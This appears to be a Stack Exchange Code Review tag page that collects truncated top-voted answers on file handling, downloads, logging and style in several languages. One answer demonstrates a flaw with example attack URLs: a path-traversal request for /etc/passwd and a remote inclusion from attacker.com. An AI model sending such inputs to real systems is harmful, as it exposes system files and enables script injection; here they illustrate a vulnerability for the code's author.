# Tag Info

16

You can simplify paths using forward slashes: GOOGLE_DRIVE_DIRECTORY = 'C:/Users/Jeff/Google Drive/Manifest_Destiny' MAIN_BACKUP_DIRECTORY = 'C:/Users/Jeff/Desktop/Manifest_Destiny_Backups/md_backup_{0}' EXTERNAL_DRIVE_DIRECTORY = 'F:/My Files/Manifest_Destiny_Backups/md_backup_{0}' Instead of converting a date to a string, which may be locale dependent ...

14

Your code is vulnerable to LFI and XSS. http://localhost/yourscript.php?url=../../../../../../etc/passwd This would load the local file /etc/passwd and display it. http://localhost/yourscript.php?url=http://attacker.com/xss.php This would load and display the remote file xss.php, which would lead to XSS. For better solutions, see eg here. When ...

12

I would not directly write to the console. You are best off building an ILogger interface, then create a ConsoleLogger class that is passed as an ILogger to the constructor. public interface ILogger { void LogMessage(string message, params Object[] args); } public class ConsoleLogger : ILogger { public void LogMessage(string message, params Object[...

11

Two try blocks in a method is a smell IMO: your method is trying to do two things, which implies it's not doing one and only one thing. Let's see: We open a stream from a given url and if all goes well we have an inputStream to work with. Or things go bad, and we log an error, and then try to send an error response before we return null - if returning the ...

10

Your FileStream looks like it is an IDisposable as well, you should put it into a using statement as well, then you don't have to worry about missing a chance to dispose it. Right here if (ExistingLength > 0) saveFileStream = new FileStream(Path, FileMode.Append, FileAccess.Write, FileShare.ReadWrite); else saveFileStream = new ...

10

Very nice code in general! Here are a few points, though: Think about using os.makedirs instead of os.mkdir. The former allows creating nested directories (so os.makedirs("~/long/new/path") will create all other folders in betweetn as well, if needed). You should never have a bare except. This prevents you to e.g. CTRL-C to abort the program, since it will ...

8

Nice script! A few points on top of what @Graipher already pointed out. Passing url parameters to requests This is a hacky way to pass query parameters: url = "http://vimcolors.com/?page=" # ... page_source = requests.get(url + str(page + 1)) The proper way to do this is to pass the parameters in a dictionary: url = "http://vimcolors.com" # ... ...

7

Yeah..... no. Not a good idea.... ;-) You are using a class to do the job of a method. The real question is why you feel you need to declare the method inside your other method (for the record, it is highly unconventional to declare a formal class inside a method too... an anonymous class is common, but a formal class is odd) You really just want to have a ...

7

Python's naming case is snake_case (makes sense, right?); you are writing your identifiers and functions is camelCase. For example, this: connectionParameters becomes: connection_parameters And, as another example, this: cleanUpDownloadFolder becomes this: cleanup_download_folder However, for classes, the naming case is PascalCase, which you did ...

7

First of all, you have multiple PEP8 code style violations, like using camel case styled variable naming instead of a "lower case with underscores"; organizing, grouping imports, comments not formatted properly. I would also apply the following improvements: use requests.Session() to re-use a single web-scraping session to make requests - this should have ...

6

I would start by looking at functional decomposition. Here's crack #1 at it: internal static class Solid { private static readonly XmlWriterSettings settings = new XmlWriterSettings { OmitXmlDeclaration = false, ConformanceLevel = ConformanceLevel.Document, Encoding = Encoding.UTF8 }; public static void Main(string[] ...

6

Try-with-resources are a great way to isolate and also nest exception handling. In your case, a nested try-catch would be best. Additionally, a function to handle returning the error-state to the client would help a lot too. Consider the following: private static final String handleError(HttpServletResponse response, String message) { LOG.error(...

6

There's a huge problem with using SendKeys to do anything. The very second the target UI changes at all, your code is broken. As was mentioned in the comments, the right way to do this is by POSTing to the URL. Use a tool like Telerik Fiddler to sniff out the contents of the http request that occurs when you click the Submit button on the target page. Add ...

6

You should invert the order of your PHP processing and your HTML output. When working in PHP, always strive to adhere to this approach, as it will help you as you start working on more complex logic. You will inevitably find yourself needing to set HTTP response readers, cookie values, etc. in your responses. You need to do this work BEFORE sending any ...

6

One of the core elements your code is missing is object-orientation. Take advantage of Ruby's powerful object model. That alone will vastly improve what you have. What we're going to do is progressively breakdown everything into chunks of logic and encapsulate these chunks of logic in objects and methods. Before that, let's go through each line and give ...

6

try-with-resources FileInputStream fis = null; try { MessageDigest md = MessageDigest.getInstance(HASH_ALG); fis = new FileInputStream(this.filePath); byte[] byteArray = new byte[1024]; int bytesCount = 0; while ((bytesCount = fis.read(byteArray)) >= 0) md.update(...

5

Cohesion The concept of cohesion is about how closely related are some operations, for example the statements in a function. It's good when statements are as closely related as possible. This kind of code is not a good practice: public function saveFiles(){ $this->files->renameFiles();$this->files->saveFiles(); $this->files->... 5 Since your script has no content to return, a status code of 204 No Content would be more desirable than 200 Success. For that, you should echo "Status: 204 No Content" (RFC 3875 Sec 6.3.3). Also consider returning using status code 405 Method Not Allowed for anything other than a POST request.$TMPOUT is a misnomer. The file is not temporary at all — $... 5 I mostly agree with rolfl, however, let me say that what you did is not wrong, just unconventional (with "unconventional" meaning "strange" and "strange" meaning "possibly hard to understand"). I'd also avoid it because of the two added levels of nesting (which lead to more broken lines and more ugliness). But what I'd do is just this: private static ... 5 public void processResponse(HttpServletResponse response) throws IOException { byte[] bytes = fileBody.getBytes(); IOUtils.copy(new ByteArrayInputStream(bytes), response.getOutputStream()); setHeader(response); } I'd rewrite this as follows, reasons after that: public static void processResponse(final HttpServletResponse ... 5 The first thing I would do is change your constructor: private readonly NetworkCredential credentials; public ftpHelper(string ftpHostname, string ftpUsername, string ftpPassword) { credentials = new NetworkCredential(ftpUsername, ftpPassword); Hostname = ftpHostname; } That eliminates newing up credentials all over your code. As for the rest of ... 5 use a logger as EBrown said FileInfo will shorten some expressions EventArgs should be readonly (Except return parameter which are not present) use EventaArgs.Empty instead of newing up an instance every time EventArgs can calculate other Properties so the download method will get shorter the 3 lines which create the filestream can be reduced to 1 when it is ... 5 Correctness Files over 10240 bytes will fail to download because the streams are closed after one iteration of the while loop(Edit: Was paste error by OP). As of java 7, it is highly preferable to use a try-with-resources block when working with AutoCloseable objects. Implementation Wrapping your FileOutputStream in a BufferedOutputStream would be ... 5 Some minor improvements: I would switch to a NamedTuple instead of a separate class: from collections import namedtuple Image = namedtuple('Image', ('master_id', 'url')) Or, if you are going to stay with classes, consider adding __slots__ - may help performance-wise - though this part is not likely to be your bottleneck, but rather can be a quick and ... 5 Seems a bit needlessly complicated and not exactly async at all. You're just forcing an async call to be synchronous with .Wait(). Proper way is to use async "all the way down": [HttpPost] [Route("api/v1/upload")] public async Task<HttpResponseMessage> Post([FromUri]string filename) { try { using (Stream requestStream = await this.... 4 Naming convention, access level and exception handling Java's naming convention do not follow the hungarian notation and thus do not include a leading m for member variable as in mProgress which therefore should probably get renamed to progress. You should also make use of encapsulation and avoid accessing fields directly: while (progress.mURLVerifyResult.... 4 The first thing I saw when I looked at your code was the obvious disregard to any kind of indentation! It is nearly unreadable! There's no excuse to have a code without any indentation. Throwing the code into any PHP online formatter should suffice. Besides of having no indentation, your html is invalid! It has no <head> The <head> has no title ... 4 Here are some comments/notes about the code and potential improvements: use with context manager when opening files parsing HTML with regular expressions has always been a very controversial thing to do. I would switch to an HTML parser like BeautifulSoup and lxml.html. For example, getting all the PyPI links with BeautifulSoup can be as straightforward as: ... 4 I honestly don't think there is much to "clean up" here, as this seems pretty straight forward. A few stylistic notes: It is pretty standard in PHP to have variables named with first letter in lower case. So consider$UploadedFile => $uploadedFile. Why blank line between most every line of code? This seems excessive. Vertical white space can be good to ... 3 Readability It's a bit difficult to comment on the security aspects of code that's hard to read. There are several readability issues here: The indentation is very messy and inconsistent throughout. It would be good to clean that up and use consistent indenting, for example use 4 spaces inside every code block (inside { ... })$_FILES["file".\$x] is ...

Only top voted, non community-wiki answers of a minimum length are eligible